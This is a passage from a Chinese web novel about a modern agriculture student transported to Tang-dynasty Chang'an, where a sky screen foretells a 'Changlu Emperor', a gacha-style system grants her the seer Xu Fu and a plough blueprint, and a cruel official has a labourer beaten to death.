能比肩秦皇汉武的功绩是属于他的,他的功绩会超过此前李唐皇室的任何一个皇帝,包括太宗!
随着年龄的增长,父皇对他的猜忌之心一日甚过一日。
他只能蜷缩着度日。
可谁愿意永远蜷缩,谁愿意永远被猜忌?
可以预见的是,在天幕出现之后,他在朝堂上不再会像曾经那样没有话语权,因为天幕追随于他的朝臣会日渐增多。
父皇不想承认也不得不承认,他已经老了。
现在,他,李亨,站起来了!
以后的大唐,是他李亨——未来皇帝,昌禄陛下的舞台。
李亨来回转了几步,把雀跃的心情勉强压了部分后,理智部分回笼。
他能看到这天幕,那大家也都能看到,包括他的父皇。
他或许不会有生命危险,但之后的日子肯定要越发艰难。
李亨抿抿嘴。
若是之前,他的确没有那个胆量在这个时候和父皇抗争。
可天幕为他而出现了,一切都会变得不一样了。
李隆基看着那在阳光下温润发光的双龙玉佩,拳头紧紧握住。
忌惮如春草,在李隆基的心里一茬又一茬长,以极快的速度旺盛起来,长成可以跑马的草原。
李隆基很乱,感觉有一万匹马在太阳穴奔腾。
他老了,可太子李亨正值壮年。
已经成长起来的幼虎能甘心于蜷缩在方寸大小的地方吗?
有那么一瞬,李隆基起了杀心。
可血腥的想法在起来的瞬间,又被压了下去。
他不能那么做。
如果天幕所言皆是真实的未来,李亨确实是那个能挽大唐之危的皇帝,那他就绝不能亲手掐灭这株对大唐而言,弥足珍贵的火苗。
他不能亲眼他一手缔造的盛世大唐走向灭亡。
李隆基又想到了另外一桩事。
如果太子就是未来那个昌禄皇帝的话,那么那个弃城而逃的唐玄宗……
不不不,绝不可能是他!
发生在李唐皇室之中,兄弟相争的事还少吗?
在李亨之前是否有其他皇子登机也尚未可知。
总而言之,此时李隆基的心情十分糟糕。
他既不能接受自己是弃城而逃的唐玄宗这件事,又不能接受李亨昌禄皇帝这件事。
此事一出,那些惹人烦的朝廷大臣少不了站队。
李隆基脸色很差,已决意更限制李亨了。
他不能让李亨死掉,当然也不能眼睁睁看李亨越过他去,得了朝臣的支持,广得民心。
杨贵妃站在李隆基的身后,虽没看到他的表情,也感受到了他不平静的内心。
天幕上那被众人跪拜的,不是如今的皇帝,而是皇帝的儿子,当今太子。
这一幕偏偏又被当爹的给看到了。
九五之尊,高高在上的皇帝,会坦然接受有另一个威胁他威严的人存在吗。
杨贵妃看着李隆基衣袖下微攥的手,摇了摇头。
他不能忍受。
杨玉环又看向天幕。
天幕画面定格在了众人跪拜李亨的一幕,李亨像是天幕的主角,占了大半的地方。
可杨玉环的注意力却不在李亨的身上。
她看到了天幕中心之外的地方,在天幕最角落的阴影里,有个女子穿着粗布麻衣,曲腿弯腰拉犁。
为什么众人都跪,独独此人不跪?
且这人身穿的衣服面料有些熟悉,好似看过似的。
杨玉环好看的眉毛拧起,最终没有思索出什么,索性把这事放在一边。
天幕所讲的朝政之事,总归是与她无关的。
李鸾觉得这天幕有点荒谬地可怕了!
她不仅觉得天幕里那女人的声音像自己压低嗓子说话时的样子,还觉得这个沉默背影也似曾相识。
这不就是她穿越前在农学院里,蹲在田埂种地时候的苦逼样子吗?!
屈膝弯腰,推着犁低着头就开始默默地干,以沉默发泄不满,像头勤恳的老黄牛。
她人不算着调,种地的时候也不着调,耕地时,大家都老老实实地双膝弯曲,只有她,偷摸地双腿交换着弯。
一条腿干活,一条腿放哨。
李鸾的脸几乎要扭曲成了世界名画呐喊。
如果天幕里这个都没露脸的人就是自己,那就太惊悚了。
先是这或许来自未来的天幕,说着跟自己记忆里完全不同的历史。
紧接着,自己这个明明生活在二十一世纪的现代人,就出现在了历史画面里。
她难道不是穿越者吗?
她怎么变成历史的参与者了?
李鸾双手张开脑袋上顶着一百八十个问号。
作为走一步想十步的人,李鸾甚至做出了一些荒唐的假设。
假设
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,这个天幕上的人就是自己,那么现如今的这次穿越是她的第二次穿越?她第一次穿越的时候发生了什么?而她到底在历史里扮演怎样的角色?
想到天幕上,李亨接受众人跪拜的模样,李鸾抽抽嘴角。
难道是李亨的狗腿子?
李鸾不能接受。
可如果按照这个思路捋下去,她是李亨的手下,那么李亨能拿出曲辕犁也不足为奇。
作为农科院的尖子生,她当然知道曲辕犁的样子,包括其中细节。可她的画工实在不能恭维,需要跟工匠多次沟通磨合才能做出曲辕犁最后的样子。
但李亨,那个只知道跟李隆基争权夺利而弃百姓于不顾的崽种,会有这个本事,收服她这个顶尖农科院的尖子生?
她的眼睛还没瞎吧?
在李鸾心情复杂地头脑风暴时,一声响亮的声音打断了她的思路。
【叮——系统数据加载完毕!】
【宿主您好,皇帝养成系统竭诚为您服务!系统检测到宿主处于开元之年的最后一年,十四年后,天宝著名的安史之乱摧毁盛世大唐,民生凋敝,哀鸿遍野。请选择是否肩负起扶唐大厦将倾之重任?】
“养成皇帝?怎么养成?不会是让宿主努力你在后面鼓掌加油是吧。”
李鸾不淡不咸地开口。
在现代的时候她也看过很多小说的,坑爹系统实在很多。
【不会的!】系统信誓旦旦,并倾情推荐自己的好处。
【皇帝养成系统绑定了名人抽卡系统,根据名人好感度和现实世界中的声望度来决定抽卡次数。只要绑定系统就可以奖励一次十连,宿主试试吧?】
李鸾精准把握住重点。
“名人抽卡?抽出的卡牌都是历史上有名之人?”
【是的宿主!】
“卡池里还有什么?”
【很多啊很多,各种深受后世人喜爱的历史名人,有文臣如诸葛亮,有武将如霍去病,还有稀有武器,珍贵的种子,提升名人好感度的礼物,等等。】
系统诱惑:【爆率很高哦,一个十连必出一张人物卡,所抽到的人物卡可作为谋士来到宿主身边,为宿主驱使。】
这下李鸾是真的有些心动了。
她为什么蛰伏于长安这么多年,还没有远走高飞,因为没有帮手啊!要做的事需得亲力亲为,每走一步都要仔细谋划。
如果能有谋士的话,那就等于多几双手,多几个脑子。
那可是诸葛亮和霍去病啊!
就算抽不到他们,抽到旁人也是好的。
李鸾眼珠一转,问出最后一个问题:“那我绑定系统后,登基时间有限制吗?从我绑定到我死,只要在这期间内登基,都算任务完成?”
【算!】系统一锤定音。
“好,那绑定吧。”
李鸾兴致勃勃,打手一挥:“抽十连!”
5. 欧气爆棚!
系统毫不含糊,说送十连就送十连,那声音里透着不容置疑的笃定。
李鸾的话音刚落,视线便被一片深邃星空占据。二十八星宿图如画卷一般自穹顶垂落而下。十枚古铜钱币从虚空出现,整齐排列在李鸾的面前。
她伸出食指,轻轻触碰其中一枚铜钱。就在指尖接触的瞬间,十枚钱币骤然剧烈震颤,落到最下面的青铜鼎内。
鼎中传来清脆的撞击声,钱币表面裂开鎏金纹路,散发出耀眼金光
十张卡牌自青铜鼎内冲天而起,爆发出强烈赤金色的光,之后悬停在了半空。
这些卡牌背面颜色各异:大部分是朴素的白色和灰色,但最后两张却格外引人注目——一张流淌着璀璨金色,另一张则深邃如墨黑。
两张卡的边缘都散发着耀眼的光芒,明显与众不同
“十连必出一张人物卡……”
李鸾心跳不由加快:“难不成我欧气爆棚,一次抽到了两张?”
李未漪果断伸手。在触碰到左边卡牌的瞬间,铺天盖地浓郁的黑色从卡背蔓延开来,泼墨一般洒遍卡身。
八卦图的虚影出现在卡牌的背面,托举着这张卡。
卡面慢慢翻转。
“叮铃铃——”
清脆的铃铛声随着卡面的翻转响了起来。
李鸾只见一个女子的身影隐约浮现,欢快的声音就已传到她的耳中。
“紫微垣飘来朵乌云?莫慌——待我剪两成月光,替你补上帝星缺角!”
卡牌中的历史人物转过身,脚步轻灵地朝着李鸾走来。
她身着葡萄紫卷草纹半臂襦衫,配以鹅黄云纹襦裙。
灵巧的双螺髻垂两缕鬓发,髻间插了一根银丝太极簪,簪尾悬细链连额间水滴形水精石。
李鸾手里多了张卡牌,她低头看了眼。
繁复黑金花边把一个古灵精怪的女子笼在其中,卡面左上方写着女子的姓名——许负。右下方有一个被圈起的“地”字。
系统声音适时响起:【恭喜宿主!抽到了地级人物卡——许负。】
有关许负的信息自动涌入李鸾脑海:西汉初年著名的女相士,中国古代第一女神相。出生时手握刻有文王八卦图的玉块,百日能言,婴儿时以哭笑预示访客凶吉。
此一生有三大预言,薄姬当生天子、周亚夫之宿命、邓通富甲天下而饿死。
李鸾摩挲着手里的卡牌。
相士——这正是她眼下最需要的人才
她原本想象中的许负,该是带着疏离神性、冷眼看世间的人物,没想到竟如此活泼灵动。
李鸾感知到脑海中勾连了一个卡牌世界,人物卡牌许负闪着光,显示已被召唤。
她环顾四周,左顾右盼,东张西望。
别说一个人了,连只动物都没瞅见。
“人呢?”她问系统。
【哈……哈……】系统尴尬地笑了两声,然后正儿八经地解释:【人物卡牌与死物卡牌不同,名士们是独立的个体,古往今来,皆曾各领一时风骚,是以性情禀赋,自各有别……】
李鸾点头翻译:“都有自己的脾气,所以不会主动来见我。”
她挑眉问道:“说吧,我要去哪里三顾茅庐请动她。”
系统如果有实体,那一定是满头大汗的黄豆小人:【我也不知……】
李鸾点头笑笑:“哦,你也不知……”
她的语气略带狰狞:“那你跟我说你是个很有用的系统?”
系统飞快描补:【名士会自己找到宿主的,很快的,很快!】
事已至此,李鸾已经不对这个系统抱太大希望。
名士会自己来找?
那不就是名士自行择主?
若得不到名士青睐,即便抽到卡牌也无济于事。
如果知道这人在哪,喜好如何,那还好办。
现在她连人都见不到,更别提什么招揽。
她顺手翻开其他卡牌。
一张厨具卡牌,一口铁锅。
几张农作物卡牌,都是种子碎片。
还有几张武器卡牌,也是碎片。
“碎片……”李鸾扯扯嘴角,“需要收集才能合成实物是吧。”
系统大喜:【是,是!宿主实在聪慧!】
李鸾发出一声莫名的笑:“哈。”
天下的乌鸦一般的黑,所有的抽卡也一样的坑人啊。
天上神音打断了李鸾抽卡,李鸾也顺势把此事搁下。
罢了。没边的东西,还是先看天幕吧。
【刚才的历史片段大家都看到了。只是看到昌禄陛下接受众人朝拜的画面,肯定会有人质疑了,就改造个破木头,有什么好拜的?吹得也太过了。】
【能说出这种话的,一看就是没干过什么农活的。下面我详细说说这个曲辕犁和从前的直辕犁相比,好在哪里。】
【在耕地时,直辕犁的转弯是需要很大空间的。拖过一次犁的人都不会想拖第二次。】
【因为这犁辕木又长又直,又大又笨,太重了了啊!这简直就是把人当牛使,力气小点的,得把吃奶的劲都使出来。】
【不仅如此,调整的过程中犁非常容易碰撞田埂或者旁边的犁沟,刚翻好的地又被撞毁了,这谁不崩溃?】
【最苦的还是江淮地区,江淮多梯田坡地,直辕犁的笨重被无限放大。】
天幕下的百姓点头如小鸡啄米,深以为然。
这太对了!简直直击痛点!
【但是曲辕犁就不一样啦,转弯灵活,操作省力,彻底解决了直辕犁“回转相妨”的致命缺点!】
【再说说牛的事。直辕犁一定需要两头牛并排拉一根横杠,一家能有一头强壮的牛就谢天谢地了,更别说两头。普通百姓只能去跟地主借牛,借不借得到是两说,地主会趁火打劫是真的。】
【改造后的曲辕犁只需要一头牛,大大降低了耕作成本和对大型畜牧的依赖。家里有牛的不用求爹爹告奶奶,就是没有牛的,找一头牛也比找两头容易多了。】
天幕下,百姓振奋了!
不用像个孙子一样求地主了!
好了,不必再多说了,单就这两条好处,他们愿意拥护这个昌禄为新一任的皇帝!
就连之前对昌禄皇帝质疑的声音也几乎消失了。
谁家祖上不是农民,谁家没有点地,能让种地更省力的工具,这皇帝可以给贵族,给地主,但偏偏愿意给耕夫,给他们这些没有什么价值
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,无法带来利益的耕夫。
单就这一条,这皇帝就跟之前的所有皇帝都不一样。
有耕夫叹气:“唉,这两日天冷得怪异,雨水也少,地里庄稼死了一片。要是能借到牛,地也能犁得深点,庄稼死得也少点。”
【至于这个曲辕犁能把耕地从五六寸深,耕到十一二寸深这种事,我就不再赘述了。】
【还有犁箭的改进,犁评和犁建的调节,犁梢的优化这些,我就更不费口舌了,大家感兴趣可以自己去搜搜。】
李隆基急了。
不再赘述?怎么能不再赘述?
被昌禄皇帝做出来的东西,能被他李隆基做出来,以后人人皆有,那便不会有人记得这虚无缥缈的昌禄皇帝。
他已让人备好笔墨,就等着写出犁改进在何处,这种紧要之处,天幕却说,不再赘述了??
李隆基愤怒,但李隆基无可奈何。
【主播这里放两张曲辕犁和直辕犁的对比图,感兴趣的大家可以截图保存,慢慢研究。】
李隆基由怒转喜。
好好好,他就知天无绝隆基之路!
能有对比图,这岂不比口述更为直观?
他大喜。
可天幕不能与他同喜。
【研——究—究—究—究—究—究——】
天幕卡顿了。
正在等曲辕犁制作图的李隆基傻眼了。
同等的太子李亨傻眼了。
同样在等的所有大唐百姓也都傻眼了。
整个长安没有比现在更寂静无声的时候,所有人眼睁睁看着天幕正中心,旋转的圈圈。
只有李鸾明白这是怎么回事。
看电视的时候视频出现卡顿,这很正常,在这种时候,就需要调调WiFi。
但唐朝没有WiFi,李隆基大怒大喜,又陷入了愤怒。
有种莫名的被戏耍玩弄之感,偏偏他找不到任何一个出气筒子。
天幕卡顿了一会,倏然变小。
画面消失,方形天幕彻底变成黑色,像一片云一样,寂静无声但不容忽视地缩在了天上一角。
李鸾等了一会,确定天幕出现卡顿,短时间内不会出影后,终于有时间不报什么希望地看看手里剩下的最后一张卡牌。
她把卡牌翻过来,呼吸骤然一滞——上面赫然画着一张曲辕犁的精细缩略图,每个部件都标注得清清楚楚,甚至连尺寸比例都精确无比。
系统的声音传入她的脑海,带着难得的兴奋语调:【恭喜宿主,抽中地级农具卡——曲辕犁!】
后面还有个括弧(可无限复印)。
李鸾觉得难以置信。
这不是坑货系统吗?还能抽出这样的东西?不用集齐碎片?不用三顾茅庐?
李鸾能想象出因为天幕的出现,大唐人,无论皇帝还是太子,亦或平民百姓,对得到曲辕犁的渴望有多迫切。
就是她这个农科院的学生,在画画天赋负数的情况下,也需和工匠磨合多次才能制作出曲辕犁。
这张图纸放在现代,或许不值一提。
可现在是曲辕犁还没被推广的唐朝。
而现在,这众人趋之若鹜的制作图,就在李她的手里。
6. 六月飞雪?
第六章
一朵方方正正的黑色天幕云悬挂在长上空,可长安依旧热闹。
天幕画面在转了无数的圈后,终于黑了下来,并缩小到天空一角。
大家在确定了这天幕真的没有画面,并且也不会对他们造成什么危害之后,慢慢就接受这朵黑云。
只是大家依旧对曲辕犁的图纸没有被展示出来这件事惋惜遗憾,耿耿于怀。
自此,耕者的每一次劳作,都要念叨起这个只存在于天幕中的人,并期盼她早日降临大唐。
耿耿于怀的还有李隆基。
兴庆宫内,太子李亨满头大汗。面前的父皇和颜悦色,可他只觉得一座重山压在自己肩膀,压力陡增。
“曲辕犁,你竟有此等等利国利民,丰实仓禀,增益赋税之物。”
“实在无愧于太子之名啊。”
坐在高位上的李隆基鬓白目浑,可气势不减。褒奖之词经他之口,就增添了许多意味深长的味道。
李亨不敢抬头看李隆基的脸色,更不敢担下这句夸赞。
陷入千古一帝美梦的李亨陡然惊醒。
他清楚意识到了,在羽翼未丰之时过早暴露这“未来之功”,非但不是荣耀,而是催命符!他不一定得到众多朝臣支持,但是父皇猜忌陡然加深是不争的事实。
最糟糕的是——曲辕犁?李亨脑子里一片空白!这玩意儿长什么样?弯的?直的?木头还是铁?他连现在用的直辕犁有几根木头都说不清!
李隆基见他久未回应,脸上的慈祥如同潮水般褪去,只余下深潭般的平静:“太子,为何沉默?莫非……是觉得朕的赞誉,分量不够?”
声音不高,却字字敲在李亨紧绷的神经上。
李亨扑通跪倒,额头触地:“父皇息怒!儿臣惶恐!此等……此等‘未做之事’,儿臣实不敢腆颜居功!”
他刻意加重了“未做之事”几个字,试图划清界限。
曲辕犁是未来的李亨发明的,关他现在的李亨什么事?
李隆基眼皮都没抬,大殿寂静无声。
“我儿此言差矣。未做之事,此刻做了,不就变成‘已做之事’了?这功劳,自然也就担得起了。”
“你日后既能改进此物,想必如今心中已有了雏形。朕记得……”
“你书画功夫不错,向来是极好的。”
“高力士——”李隆基的声音陡然拔高。
“奴婢在。”
“给太子……侍候笔墨。”
“喏。”
两个小太监无声地抬上紫檀木几案,稳稳放在李亨面前。
高力士亲自研墨,饱蘸浓墨,双手将那支御用的紫毫笔恭敬地捧到李亨眼前,脸上挂着无可挑剔的、却毫无温度的笑容:“太子殿下,请——赐图。”
李亨的汗已有几滴流进了眼睛里。
父皇端的是步步紧逼,不容抗拒的姿态。
让高力士“秉笔”?这是天大的“恩宠”,更是赤裸裸的警告和羞辱!父皇是要他亲手将自己未来的功绩,当作贡品,提前献上!
可凭什么?!曲辕犁是他李亨发明的!
“怎么?”李隆基的声音再次响起,如同闲聊般随意,却带着冰碴。
“太子是担心……画得不够好,辜负这‘昌禄皇帝’的名头?”
“昌禄皇帝”四字,充满了讽刺。
李亨盯着那支递到鼻尖的笔,墨汁饱满,几乎要滴落下来。他感觉自己的脑子像被那墨汁糊住了,一片混沌。
这笔他如论如何都不能拿!
最重要的是……
李亨几乎崩溃。
他想知道,为何他对曲辕犁三个字如此陌生,为何他连一个犁柄都画不出来,曲辕犁难道不是他发明的吗?怎么现如今他脑袋空空?
李亨几乎是匍匐着跪地,言语里带了八分的真情实感:“不是儿臣不想画,实在是儿臣画不出啊!”
他的眼泪混着汗一起淌下来,甚至流进嘴巴。
苦咸苦咸的。
“这天幕不知从何而来,说了堆不知真假的劳什子话,儿臣不知自己怎么就出现在了天幕里。”
“那什么昌禄皇帝更是无稽之谈!”
“儿臣只知道曲辕犁绝对不是儿臣发明。”
李亨仰头,露出了满是眼泪的悲苦脸:“父皇让儿臣画曲辕犁,儿臣心甘情愿,儿臣也愿意为父皇的江山社稷出一份力!”
“可儿臣无能……这犁儿臣绞尽脑汁也想不出任何东西。”
兴庆宫内只余李亨的啜泣声。
李亨只觉得时间过了很久,久到他的眼泪挤不出来,脸也发酸的时候,他的父皇终于开口了。
“既是你以后改造的犁,朕现在也不该过分苛责于你。”
“退下吧。”
“谢父皇!谢父皇恩典!”李亨如蒙大赦,深深叩拜,感恩戴德地离开。
但他心里知道,李隆基对他未来会拥有的曲辕犁图势在必得。
他微微弯腰,看起来几近懦弱地离开皇宫。
可心里叛逆的野草被风吹过,又长了一茬。
皇城深处的日头似比寻常处更暗一些,那些城墙之内的波谲云诡,如檐角铜铃私语,长安百姓听不到,也根本不在意。
他们心系的,是灶上的胡饼香气能招来多少客人,是忙碌的半年赚的银钱交过税后是否有结余,是田埂里的庄稼能不能熬过伏天。
菜农挑水浇菜,一如此前的每一日。
“这才六月份,看来今年的伏天难熬了……”
他黄豆大的汗珠往地里砸,很快隐没其中,蒸发不见,连带着鼻息间的土味,都带着一种热气。
只怕是要旱。
菜农兀自想着,转身又多挑了一担水。
无人在意午后天边隐隐翻滚的铅云。不像是要有急急泼洒夏雨之状,倒像是……
“夏寒六月霜,早雪覆长安。”
大安国寺内,一身绛色袈裟的明悟和尚看着天边沉郁苍云。
这是真阳公主留下的话。
彼时她说得随意,甚至带了点漫不经心,好似预言了六月飞雪这只是个无足轻重而小事。
可明悟看着天上的阴云一浪叠过一浪,心中惊骇也一层高过一层。
他捻着佛珠的指腹用力到发白。
六月飞雪本就是违背自然规律之事,莫说是预测得准,就连发生都只是能遇而不能求的。可这种异象,她又怎么会知道?!
太阳何时升起又何时落下,夏日何时落雨,冬季几时落雪,这可是老天爷决定的事情。能有此预言者,自古以来可从未有之!
有风乍起,期初带着热气,只多了几阵后,这风就凉了。
天忽得暗了下来。
明悟的袈裟猎猎作响,他喉咙发涩,几乎说不出话。
铅云翻滚之间,零星细白的絮打旋落下。
三日前他反驳李鸾的话声声在耳。
“六月飞雪?莫说长安,便是苦寒北地,此时也该是流火铄石。公主这预言,实在有点过于荒唐!”
现在,这反驳之言字字句句,都如同一个又一个巴掌打在他的脸上。
荒唐?他这几日见过的荒唐事实在太多,能预言六月长安落雪这件事,本就是一场荒唐。
这实在是太惊世骇俗,
明悟倏然转身,快步走下弥勒阁。
扫地的沙弥震惊:“师父无大事从不下弥勒阁,怎么今日……”
自言
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自语的话还未说完,小沙弥便被檐廊外的景色震惊。
“雪,是雪!”
这呼声如洒进油锅的水珠,瞬间在明悟的脑中炸开。
他站在院中,感受着雪花一点点飘洒到了他的身上。冷气流和心中的惊骇交织,让他几乎颤栗:“竟是真的雪!”
明悟脑海中不由自主浮现出三日前,李鸾那漫不经心又玩世不恭的笑。
那时她望着天,没有对天生异象的震惊,没有对周围血腥味的害怕,她一双眼睛如古潭,平静地波澜不惊。
她哪是妄言,她是对自己预知未来的本事胸有成竹。她早已勘破了天道的轨迹!
明悟如今没有质疑,只有懊悔。
他实在过于傲慢了些,竟以那样不尊敬的态度,对待一个几乎可比肩神明的人!
明悟来回踱步,心跳如擂鼓,他恨不得能长出一对翅膀飞到李鸾那里,亲自道歉,并第一时间答应她提出的交易。
有此等神力之人,无论与他交易什么,只要是有能用得着他的地方,那已是他的福分了!
可向来只有公主来寺庙听经祈福的,断没有和尚去找公主的道理。
明悟知道,如今他能做的,只有等。
等公主记起他,记起与他的交易。
他长吁一口气,看着天上簌簌落下的雪,任由雪落在肩头并未拂走。
“夏寒六月霜,早雪覆长安啊。”
明悟攥着佛珠,慢慢走回弥勒阁。
这大唐怕是又要出一个,能搅动这天下风云之人了。
能予这样的人便利,不与之为敌,是莫大幸运。
雪沫被寒风裹挟,遍撒长安。
刚过正午的长安本该沉寂,此时却因为一场六月飘雪而格外喧嚣。
“这酷暑能有一场雪来,也算凉快啊!”
“谁说不是,先前日日酷晒,我都以为今年必将大旱了。”
“六月飞雪,这怎么看都不正常,莫不是哪里出了冤情吧?”
“冤情?谁说没有呢。”
说话者压低了声音:“就前些时候,长安城外有人纵马活生生踩残了一个人。”
“天子脚下,到底是谁如此无法无天?”
“不敢说,不敢说……”
此时,陕郡太守、水陆转运使韦坚的车驾碾过新积的薄雪,两匹骏马牵引的鎏金钿车插着象征漕运大权的牙旗,不紧不慢驶过通化门。
韦坚闭目养神,指尖敲着膝头。
广运潭通航在即,此番进京,一是述职,让圣人亲眼看看,这江淮的命脉是如何在他韦子金手中复活的。
二是要兵。
韦坚眼底寒光闪过。
通济渠的水匪实在是无法无天,近几日换了个匪头子,变得难缠起来。
他在江淮搜刮的油水被截了整整五船!
不剿了这个匪窝,把人一个个扒皮抽筋实在难消他心头之恨。
他撩开车帘,满目白雪。
“长安竟然在这时候下雪了?”
小厮为韦坚打抱不平:“可不是,早不下,晚不下,偏在使君进京的时候下,到时候又少不了风言风语!”
韦坚讽刺一笑:“不值钱的贱民罢了,圣人还不至于把这点小事放在心上。”
“在绝对实力的面前,流言蜚语永远是鸡毛一样没什么攻击力的东西。”
听说圣人有意将公主嫁与他。
韦坚手伸到前几案上,摩挲着上面的皮鞭。
他双目幽深,带着诡谲的光,笑得一脸兴味。
这鞭子,倒还没抽过公主尊贵的玉体呢……
马车行至光福坊转角,一声嘶哑的呼喊刺破雪幕。
“求使君赏条活路!”
7. 千古第一女相师
一个瘦弱的身影扑倒在马车前,马匹嘶鸣,车身晃动。
赶车的小厮就着手里的马鞭,就往地上那穿着破旧灰布衫的抽。
“瞎了你的狗眼,这是水路转运使韦相公的车架!你个村獠泼才,吃了你老子的雄心豹子胆!还不闪开,看我不把你狗腿打断,扔到汴河喂王八!”
单薄的少年结结实实受了这一鞭子,倒在角落。
本就破败的衣服又添了个口子,很快,这道口子被泅成深红色。
他像不知道疼一样,飞快爬起来,单腿用力,拼命爬到车前。
竟是个瘸子。
“俺叫南城,在广运潭挖了半年的泥!工头卷钱跑了……娘病得严重,就等着这工钱救命。”
他抬起头,因为身上没什么肉,颧骨显得凸出。
可一双眼睛却极亮。
“俺听说,马车上插着这种旗子的,就是负责建广运潭的大官儿。”
他恭恭敬敬磕了一个头:“求使君结了俺的工钱,让俺能拿回家给俺娘治病。”
“呵……”马车里传来一声嗤笑。
一只骨节分明的修长玉手撩开马车帘子:“抬起头,我瞧瞧。”
南城只觉得这声音听着实在耳熟,可一时间着实想不到在哪里见过。
他抬起头,和一双似笑非笑的眼睛对视。
一瞬间,震惊,愤怒,屈辱,各种情绪遍布四肢百骸。
他想张嘴说出什么,却只能发出嗬嗬的声音。
“怎么,一条腿的教训还不够,还要撞到我的马车上送死。”
韦坚嘴角的笑像带了冰碴,高高在上,好整以暇欣赏跪地少年的窘迫。
煽动群众闹事的头子,断条腿已算他仁慈。
南城闭目,再睁开眼时,黝黑的眼睛里已没了光,
半年的工钱,求工头不成,求管事不成,他想求到更大的官那里。
这盛世长安,能当应大官的,能给百姓修渠的,肯定是好人。
那个纵马踩断他腿的人不是管事的吗,怎么会和他笃定认为的好官,是同一个人呢?
他咬着后腮的肉,满嘴血腥味让他的理智占于愤怒之上。
他是来要钱的,要钱给阿娘治病的。
南城握紧拳头,结结实实又磕了个响头:“求使君,开恩!俺只求二百文……”
为了工钱,他把自己的尊严放在泥地里任仇人践踏,眼眶发热:“就二百文抓药……”
血从额头淌下,在青石板上混着雪水,洇开暗红。
不反抗的南城让韦坚失了兴致,他随意挥挥手:“冲撞车驾,按律当杖毙。走吧,耽误了圣人验看漕渠的吉时,你们谁的命都抵不起。”
车轮开始滚动,碾过薄薄雪地上那滩刺目的红。
南城趴着蜷缩在地上,血混在了脸上,显得格外狰狞。
一下借着一下的棍子打在他的股间,腰椎。
他的裤管下的腿不正常地扭曲着,借着裂开的口子,依稀可以看到溃烂得不成样子的伤口。
他睁开眼,看到了四周的光亮,可却觉得满目皆黑。没有一条能走的路,没有一丝希望。
卸了一口气的南城只觉得周身都疼,身上被工头抽打的鞭伤疼,断了多日没有救治的腿疼,最疼的是额头,他结结实实给断了他腿的仇人,磕了那么多响头。
只是为了本就该属于他的工钱。
奉命杖打的人看他出气多进气少,急匆匆追马车去了。
南城觉得视线开始模糊,周围的声音清晰又朦胧。
“唉,可怜见的……”
“冲撞谁不好,偏是那活阎王韦坚!”
“满脸的血污,也不知家里还有人没有……”
“有没有大夫行行好?救救他吧……”
一辆并不起眼的马车内,李鸾安静地坐在窗边阴影里,一身灰扑扑的衣裳几乎与阴影融为一体。她捧着一杯早已凉透的茶,手指无意识地摩挲着粗瓷杯沿,目光低垂。
她去大相国寺祈福,道路拥挤,还未下车,就已经看到浑身是血的少年。
李鸾把眼底的遗憾敛下。
断腿久病未医,又挨了那么多板子,就是华佗在世也无计可施。
她心底无声叹息,遗憾自己路过此地时间之迟。
若是早一些,说不准还有机会。
“未时三刻,魂归黄泉。他没得救了。”一个清脆的女声响起,带着一丝不易察觉的惆怅,瞬间压下了周围的嘈杂。
那位正想帮忙找大夫的热心大娘闻声回头,只见说话的是个约莫十五六岁的小娘子。
她梳着一对俏皮的双螺髻,发间斜插着一支样式古朴的银丝太极簪,簪首太极图在雪光下流转着微光,显得分外神秘。
正是刚才拉着她打听真阳公主旧事的小姑娘。
“哎哟,你这小娘子,话可不能乱说!”大娘有些不悦,带着责备,“他都这样了,嘴上积点德吧!万一能救呢?”
清澈的杏仁眼望向蜷缩在雪泥里的南城,眼神仿佛穿透了皮肉,直视着他体内正急速流逝的生命。
她不是冷漠,而是看得太清楚——死气已如跗骨之蛆,紧紧缠绕住他的五脏六腑,行刑者下手狠辣精准,专断生机。
“大娘你看,”许负的声音很轻,却带着一种奇异的穿透力。
她指着南城肋下,后腰几处不显眼的青黑。
“那些地方……是奔着要命去的。内腑已碎,神仙难救。”
她尽量用旁人能理解的“外伤”来解释这残酷的真相。她的目光落在南城脸上,悲悯如同实质般流淌出来。
他甚至撑不过半炷香了。
“未时三刻,魂归黄泉。”
竟如此笃定地直言生死。
李鸾握着杯子的指尖几不可察地收紧了半分,她缓缓抬眸,视线落在那支在雪光下流转着微芒的银丝太极簪上。
是她……许负。
不愧是千古第一女相师。
她李鸾的预言依托的是穿越者的历史知识储备。
而这位相师的预言,则是实实在在的真本事。
李鸾的心湖深处,一丝微澜悄然荡开。
她没收回视线,木讷的眼神里带着不易察觉的估量。
许负不再多言,快步走到路口一个等活的驴车车户面前:“老丈,劳烦您,帮我把那位郎君运到城外去,寻个清净地方好好安葬,让他入土为安吧。”
她利落地从腰间拿出一个荷包掏钱,纤细手指伸进荷包的瞬间,一枚古朴铜钱掉落,掉到许负身后转了几圈躺平。
许负弯腰的动作有了一瞬间极其细微的凝滞,心有所感地抬头看向人群外的马车。
那撩起的车窗帘后,一双木讷无情的眼睛落入她的眼帘。
李鸾!她的“主君”。
许负的眉头几不可察地蹙了一下。她能清晰地“看”到李鸾周身笼罩着一种奇异的矛盾气场,表面是死水般的沉寂与平庸,内里却潜藏着深海般的漩涡。
可却看不到更多的东西了。
她竟看不透这位“主君”的命。
许负回过身,那双深邃却如无波枯井的眼睛却久久盘桓在脑海,挥之不去。
难道南城的惨死悲剧,在这位“主公”眼中只是一场寻常戏台子演的剧目?
这种近乎冷酷的抽离感,让许负心中升起一丝难以言喻的微词。
这便是召唤我之人?他日君临天下者,对待生命岂能如此……漠然?
看着许负手里的一吊钱,车户惊喜。
这么多!够他们家三个月的嚼用了!
他忙不迭地点头哈腰:“使得使得!小娘子心善!老汉这就去!”
惊喜之下,连对尸体的忌讳都忘了。
许负跟着车户一起走到南城身边,想着搭把手。
车户看着南城微弱起伏的胸膛,又有些犹豫了:“小娘子……这人……好像还没咽气呢?现在就拉走?” 万一还有救
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,岂不是造孽?
许负蹲下身,刚想探探南城的脉搏,一只冰冷满是血污的手却像铁钳般猛地抓住了她的手腕。
完全不像一个濒死之人该有的力气。
许负看到了一双陌路穷途,却仍想抓住最后一根救命稻草的眼睛。
“不,我不要葬……”南城的嘴角溢出血沫,话都说不清楚。
许负清晰看到他强烈的求生意志短暂冲击了命格中的死亡线,可这挣扎也是徒劳。
她心中叹息,只是用平静的语气,近乎残忍地说着事实:“你活不久了,至多半炷香。”
“我知,知道……”南城死死盯着她,仿佛要将这唯一对他释放过善意的身影钉入骨髓。
“不要葬,不要给他,给他钱……”
南城几乎哀求地看着许负。
“能不能,把钱给我,我给阿娘,治,治病……”
他唾弃自己像个乞儿,可他活不久了,他无计可施。
